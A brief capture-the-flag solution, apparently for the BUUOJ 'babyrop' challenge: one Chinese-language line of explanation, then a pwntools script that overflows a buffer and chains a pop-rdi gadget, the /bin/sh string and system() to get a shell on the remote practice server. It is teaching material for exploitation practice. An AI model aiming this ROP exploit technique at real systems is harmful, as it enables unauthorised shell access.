程序已经给了system和binsh ，用寄存器传参就可以了
from pwn import * r=remote('node3.buuoj.cn',25737) elf=ELF('./babyrop') system_addr=elf.symbols['system'] binsh_addr=0x601048 rdi_addr=0x400683 payload='a'*0x10+'b'*0x8+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)+p64(0xdeadbeef) #system(/bin/sh) r.sendline(payload) r.interactive()
